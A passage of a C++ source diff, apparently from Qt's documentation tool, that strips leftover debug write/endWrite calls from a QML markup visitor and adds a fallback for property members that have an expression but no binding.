(!uiimport->importUri) addMarkedUpToken(uiimport->fileNameToken, QLatin1String("headerfile")); @@ -222,17 +207,14 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiImport *uiimport) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiImport *uiimport) { - endWrite(""); addVerbatim(uiimport->versionToken); addVerbatim(uiimport->asToken); addMarkedUpToken(uiimport->importIdToken, QLatin1String("headerfile")); addVerbatim(uiimport->semicolonToken); - //endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiPublicMember *member) { - write(""); if (member->type == QDeclarativeJS::AST::UiPublicMember::Property) { addVerbatim(member->defaultToken); addVerbatim(member->readonlyToken); @@ -241,7 +223,10 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiPublicMember *member) addMarkedUpToken(member->typeToken, QLatin1String("type")); addMarkedUpToken(member->identifierToken, QLatin1String("name")); addVerbatim(member->colonToken); - QDeclarativeJS::AST::Node::accept(member->binding, this); + if (member->binding) + QDeclarativeJS::AST::Node::accept(member->binding, this); + else if (member->expression) + QDeclarativeJS::AST::Node::accept(member->expression, this); } else { addVerbatim(member->propertyToken); addVerbatim(member->typeModifierToken); @@ -255,47 +240,39 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiPublicMember *member) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiPublicMember *member) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiSourceElement *) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiSourceElement *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiParameterList *) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiParameterList *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectInitializer *initializer) { - write(""); addVerbatim(initializer->lbraceToken, initializer->lbraceToken); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiObjectInitializer *initializer) { - endWrite(""); addVerbatim(initializer->rbraceToken, initializer->rbraceToken); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectBinding *binding) { - write(""); QDeclarativeJS::AST::Node::accept(binding->qualifiedId, this); addVerbatim(binding->colonToken); QDeclarativeJS::AST::Node::accept(binding->qualifiedTypeNameId, this); @@ -305,12 +282,10 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectBinding *binding) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiObjectBinding *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiScriptBinding *binding) { - write(""); QDeclarativeJS::AST::Node::accept(binding->qualifiedId, this); addVerbatim(binding->colonToken); QDeclarativeJS::AST::Node::accept(binding->statement, this); @@ -319,12 +294,10 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiScriptBinding *binding) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiScriptBinding *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiArrayBinding *binding) { - write(""); QDeclarativeJS::AST::Node::accept(binding->qualifiedId, this); addVerbatim(binding->colonToken); addVerbatim(binding->lbracketToken); @@ -335,12 +308,10 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiArrayBinding *binding) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiArrayBinding *formal) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiArrayMemberList *list) { - write(""); for (QDeclarativeJS::AST::UiArrayMemberList *it = list; it; it = it->next) { QDeclarativeJS::AST::Node::accept(it->member, this); //addVerbatim(it->commaToken); @@ -350,24 +321,20 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiArrayMemberList *list) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiArrayMemberList *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiQualifiedId *id) { - write(""); addMarkedUpToken(id->identifierToken, QLatin1String("name")); return false; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiQualifiedId *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiSignature *signature) { - write(""); addVerbatim(signature->lparenToken); return true; } @@ -375,12 +342,10 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiSignature *signature) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiSignature *signature) { addVerbatim(signature->rparenToken); - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiFormal *formal) { - write(""); addMarkedUpToken(formal->identifierToken, QLatin1String("name")); addVerbatim(formal->asToken); addVerbatim(formal->aliasToken); @@ -389,116 +354,98 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiFormal *formal) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiFormal *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ThisExpression *expression) { - write(""); addVerbatim(expression->thisToken); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ThisExpression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::IdentifierExpression *identifier) { - write(""); addMarkedUpToken(identifier->identifierToken, QLatin1String("name")); return false; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::IdentifierExpression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NullExpression *null) { - write(""); addMarkedUpToken(null->nullToken, QLatin1String("number")); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NullExpression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TrueLiteral *literal) { - write(""); addMarkedUpToken(literal->trueToken, QLatin1String("number")); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::TrueLiteral *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FalseLiteral *literal) { - write(""); addMarkedUpToken(literal->falseToken, QLatin1String("number")); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FalseLiteral *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NumericLiteral *literal) { - //write(""); addMarkedUpToken(literal->literalToken, QLatin1String("number")); return false; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NumericLiteral *) { - //endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::StringLiteral *literal) { - //write(""); addMarkedUpToken(literal->literalToken, QLatin1String("string")); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::StringLiteral *) { - //endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::RegExpLiteral *literal) { - write(""); addVerbatim(literal->literalToken); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::RegExpLiteral *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ArrayLiteral *literal) { - write(""); addVerbatim(literal->lbracketToken); QDeclarativeJS::AST::Node::accept(literal->elements, this); addVerbatim(literal->rbracketToken); @@ -507,13 +454,11 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ArrayLiteral *literal) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ArrayLiteral *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ObjectLiteral *literal) { - write(""); addVerbatim(literal->lbraceToken); return true; } @@ -521,13 +466,11 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ObjectLiteral *literal) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ObjectLiteral *literal) { addVerbatim(literal->rbraceToken); - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ElementList *list) { - write(""); for (QDeclarativeJS::AST::ElementList *it = list; it; it = it->next) { QDeclarativeJS::AST::Node::accept(it->expression, this); //addVerbatim(it->commaToken); @@ -538,58 +481,48 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ElementList *list) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ElementList *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Elision *elision) { - write(""); addVerbatim(elision->commaToken, elision->commaToken); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Elision *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::IdentifierPropertyName *) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::IdentifierPropertyName *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::StringLiteralPropertyName *) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::StringLiteralPropertyName *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NumericLiteralPropertyName *) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NumericLiteralPropertyName *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PropertyNameAndValueList *list) { - write(""); QDeclarativeJS::AST::Node::accept(list->name, this); addVerbatim(list->colonToken, list->colonToken); QDeclarativeJS::AST::Node::accept(list->value, this); @@ -599,24 +532,20 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PropertyNameAndValueList *list void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::PropertyNameAndValueList *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NestedExpression *expression) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NestedExpression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ArrayMemberExpression *expression) { - write(""); QDeclarativeJS::AST::Node::accept(expression->base, this); addVerbatim(expression->lbracketToken); QDeclarativeJS::AST::Node::accept(expression->expression, this); @@ -626,13 +555,11 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ArrayMemberExpression *express void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ArrayMemberExpression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FieldMemberExpression *expression) { - write(""); QDeclarativeJS::AST::Node::accept(expression->base, this); addVerbatim(expression->dotToken); addMarkedUpToken(expression->identifierToken, QLatin1String("name")); @@ -641,13 +568,11 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FieldMemberExpression *express void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FieldMemberExpression *expression) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NewMemberExpression *expression) { - write(""); addVerbatim(expression->newToken); QDeclarativeJS::AST::Node::accept(expression->base, this); addVerbatim(expression->lparenToken); @@ -658,194 +583,164 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NewMemberExpression *expressio void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NewMemberExpression *expression) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NewExpression *expression) { - write(""); addVerbatim(expression->newToken); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NewExpression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::CallExpression *expression) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::CallExpression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ArgumentList *list) { - write(""); addVerbatim(list->commaToken, list->commaToken); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ArgumentList *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PostIncrementExpression *expression) { - write(""); addVerbatim(expression->incrementToken); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::PostIncrementExpression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PostDecrementExpression *expression) { - write(""); addVerbatim(expression->decrementToken); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::PostDecrementExpression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DeleteExpression *expression) { - write(""); addVerbatim(expression->deleteToken); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::DeleteExpression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VoidExpression *expression) { - write(""); addVerbatim(expression->voidToken); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::VoidExpression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TypeOfExpression *expression) { - write(""); addVerbatim(expression->typeofToken); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::TypeOfExpression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PreIncrementExpression *expression) { - write(""); addVerbatim(expression->incrementToken); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::PreIncrementExpression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PreDecrementExpression *expression) { - write(""); addVerbatim(expression->decrementToken); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::PreDecrementExpression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UnaryPlusExpression *expression) { - write(""); addVerbatim(expression->plusToken); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UnaryPlusExpression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UnaryMinusExpression *expression) { - write(""); addVerbatim(expression->minusToken); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UnaryMinusExpression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TildeExpression *expression) { - write(""); addVerbatim(expression->tildeToken); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::TildeExpression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NotExpression *expression) { - write(""); addVerbatim(expression->notToken); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NotExpression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::BinaryExpression *expression) { - write(""); QDeclarativeJS::AST::Node::accept(expression->left, this); addMarkedUpToken(expression->operatorToken, QLatin1String("op")); QDeclarativeJS::AST::Node::accept(expression->right, this); @@ -854,25 +749,21 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::BinaryExpression *expression) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::BinaryExpression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ConditionalExpression *expression) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ConditionalExpression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Expression *expression) { - write(""); QDeclarativeJS::AST::Node::accept(expression->left, this); addVerbatim(expression->commaToken); QDeclarativeJS::AST::Node::accept(expression->right, this); @@ -881,12 +772,10 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Expression *expression) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Expression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Block *block) { - write(""); addVerbatim(block->lbraceToken); return true; } @@ -894,23 +783,19 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Block *block) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Block *block) { addVerbatim(block->rbraceToken); - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::StatementList *) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::StatementList *) { - endWrite(""); addVerbatim(statement->declarationKindToken); QDeclarativeJS::AST::Node::accept(statement->declarations, this); addVerbatim(statement->semicolonToken); @@ -919,13 +804,11 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VariableStatement *statement) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::VariableStatement *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VariableDeclarationList *list) { - write(""); for (QDeclarativeJS::AST::VariableDeclarationList *it = list; it; it = it->next) { QDeclarativeJS::AST::Node::accept(it->declaration, this); addVerbatim(it->commaToken); @@ -935,12 +818,10 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VariableDeclarationList *list) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::VariableDeclarationList *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VariableDeclaration *declaration) { - write(""); addMarkedUpToken(declaration->identifierToken, QLatin1String("name")); QDeclarativeJS::AST::Node::accept(declaration->expression, this); return false; @@ -948,39 +829,33 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VariableDeclaration *declarati void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::VariableDeclaration *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::EmptyStatement *statement) { - write(""); addVerbatim(statement->semicolonToken); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::EmptyStatement *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ExpressionStatement *) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ExpressionStatement *statement) { addVerbatim(statement->semicolonToken); - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::IfStatement *statement) { - write(""); addMarkedUpToken(statement->ifToken, QLatin1String("keyword")); addVerbatim(statement->lparenToken); QDeclarativeJS::AST::Node::accept(statement->expression, this); @@ -995,13 +870,11 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::IfStatement *statement) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::IfStatement *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DoWhileStatement *statement) { - write(""); addMarkedUpToken(statement->doToken, QLatin1String("keyword")); QDeclarativeJS::AST::Node::accept(statement->statement, this); addMarkedUpToken(statement->whileToken, QLatin1String("keyword")); @@ -1014,25 +887,21 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DoWhileStatement *statement) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::DoWhileStatement *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::WhileStatement *statement) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::WhileStatement *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ForStatement *statement) { - write(""); addMarkedUpToken(statement->forToken, QLatin1String("keyword")); addVerbatim(statement->lparenToken); QDeclarativeJS::AST::Node::accept(statement->initialiser, this); @@ -1047,13 +916,11 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ForStatement *statement) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ForStatement *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LocalForStatement *statement) { - write(""); addMarkedUpToken(statement->forToken, QLatin1String("keyword")); addVerbatim(statement->lparenToken); addMarkedUpToken(statement->varToken, QLatin1String("keyword")); @@ -1069,13 +936,11 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LocalForStatement *statement) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::LocalForStatement *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ForEachStatement *statement) { - write(""); addMarkedUpToken(statement->forToken, QLatin1String("keyword")); addVerbatim(statement->lparenToken); QDeclarativeJS::AST::Node::accept(statement->initialiser, this); @@ -1088,13 +953,11 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ForEachStatement *statement) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ForEachStatement *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LocalForEachStatement *statement) { - write(""); addMarkedUpToken(statement->forToken, QLatin1String("keyword")); addVerbatim(statement->lparenToken); addMarkedUpToken(statement->varToken, QLatin1String("keyword")); @@ -1108,13 +971,11 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LocalForEachStatement *stateme void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::LocalForEachStatement *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ContinueStatement *statement) { - write(""); addMarkedUpToken(statement->continueToken, QLatin1String("keyword")); addMarkedUpToken(statement->identifierToken, QLatin1String("name")); addVerbatim(statement->semicolonToken); @@ -1123,13 +984,11 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ContinueStatement *statement) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ContinueStatement *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::BreakStatement *statement) { - write(""); addMarkedUpToken(statement->breakToken, QLatin1String("keyword")); addMarkedUpToken(statement->identifierToken, QLatin1String("name")); addVerbatim(statement->semicolonToken); @@ -1138,13 +997,11 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::BreakStatement *statement) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::BreakStatement *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ReturnStatement *statement) { - write(""); addMarkedUpToken(statement->returnToken, QLatin1String("keyword")); return true; } @@ -1152,13 +1009,11 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ReturnStatement *statement) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ReturnStatement *statement) { addVerbatim(statement->semicolonToken); - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::WithStatement *statement) { - write(""); addMarkedUpToken(statement->withToken, QLatin1String("keyword")); addVerbatim(statement->lparenToken); addVerbatim(statement->rparenToken); @@ -1167,27 +1022,23 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::WithStatement *statement) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::WithStatement *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::CaseBlock *block) { - write(""); addVerbatim(block->lbraceToken); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::CaseBlock *block) { - endWrite(""); addVerbatim(block->rbraceToken, block->rbraceToken); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::SwitchStatement *statement) { - write(""); addMarkedUpToken(statement->switchToken, QLatin1String("keyword")); addVerbatim(statement->lparenToken); QDeclarativeJS::AST::Node::accept(statement->expression, this); @@ -1198,23 +1049,19 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::SwitchStatement *statement) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::SwitchStatement *statement) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::CaseClauses *) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::CaseClauses *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::CaseClause *clause) { - write(""); addMarkedUpToken(clause->caseToken, QLatin1String("keyword")); QDeclarativeJS::AST::Node::accept(clause->expression, this); addVerbatim(clause->colonToken); @@ -1224,13 +1071,11 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::CaseClause *clause) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::CaseClause *clause) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DefaultClause *clause) { - write(""); addMarkedUpToken(clause->defaultToken, QLatin1String("keyword")); addVerbatim(clause->colonToken, clause->colonToken); return true; @@ -1238,13 +1083,11 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DefaultClause *clause) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::DefaultClause *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LabelledStatement *statement) { - write(""); addMarkedUpToken(statement->identifierToken, QLatin1String("name")); addVerbatim(statement->colonToken); QDeclarativeJS::AST::Node::accept(statement->statement, this); @@ -1253,13 +1096,11 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LabelledStatement *statement) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::LabelledStatement *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ThrowStatement *statement) { - write(""); addMarkedUpToken(statement->throwToken, QLatin1String("keyword")); QDeclarativeJS::AST::Node::accept(statement->expression, this); addVerbatim(statement->semicolonToken); @@ -1268,13 +1109,11 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ThrowStatement *statement) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ThrowStatement *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Catch *c) { - write(""); addMarkedUpToken(c->catchToken, QLatin1String("keyword")); addVerbatim(c->lparenToken); addMarkedUpToken(c->identifierToken, QLatin1String("name")); @@ -1284,13 +1123,11 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Catch *c) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Catch *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Finally *f) { - write(""); addMarkedUpToken(f->finallyToken, QLatin1String("keyword")); QDeclarativeJS::AST::Node::accept(f->statement, this); return false; @@ -1298,13 +1135,11 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Finally *f) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Finally *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TryStatement *statement) { - write(""); addMarkedUpToken(statement->tryToken, QLatin1String("keyword")); QDeclarativeJS::AST::Node::accept(statement->statement, this); QDeclarativeJS::AST::Node::accept(statement->catchExpression, this); @@ -1314,13 +1149,11 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TryStatement *statement) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::TryStatement *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionExpression *expression) { - write(""); addMarkedUpToken(expression->functionToken, QLatin1String("keyword")); addMarkedUpToken(expression->identifierToken, QLatin1String("name")); addVerbatim(expression->lparenToken); @@ -1334,12 +1167,10 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionExpression *expression void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FunctionExpression *expression) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionDeclaration *declaration) { - write(""); addMarkedUpToken(declaration->functionToken, QLatin1String("keyword")); addMarkedUpToken(declaration->identifierToken, QLatin1String("name")); addVerbatim(declaration->lparenToken); @@ -1353,12 +1184,10 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionDeclaration *declarati void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FunctionDeclaration *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FormalParameterList *list) { - write(""); addVerbatim(list->commaToken); addMarkedUpToken(list->identifierToken, QLatin1String("name")); return false; @@ -1366,23 +1195,19 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FormalParameterList *list) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FormalParameterList *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionBody *body) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FunctionBody *body) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DebuggerStatement *statement) { - write(""); addVerbatim(statement->debuggerToken); addVerbatim(statement->semicolonToken); return true; @@ -1390,34 +1215,28 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DebuggerStatement *statement) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::DebuggerStatement *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionSourceElement *) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FunctionSourceElement *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::StatementSourceElement *) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::StatementSourceElement *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectDefinition *definition) { - write(""); QDeclarativeJS::AST::Node::accept(definition->qualifiedTypeNameId, this); QDeclarativeJS::AST::Node::accept(definition->initializer, this); return false; @@ -1425,62 +1244,51 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectDefinition *definition void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiObjectDefinition *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiImportList *) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiImportList *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectMemberList *) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiObjectMemberList *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiFormalList *) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiFormalList *) { - endWrite(""); } bool 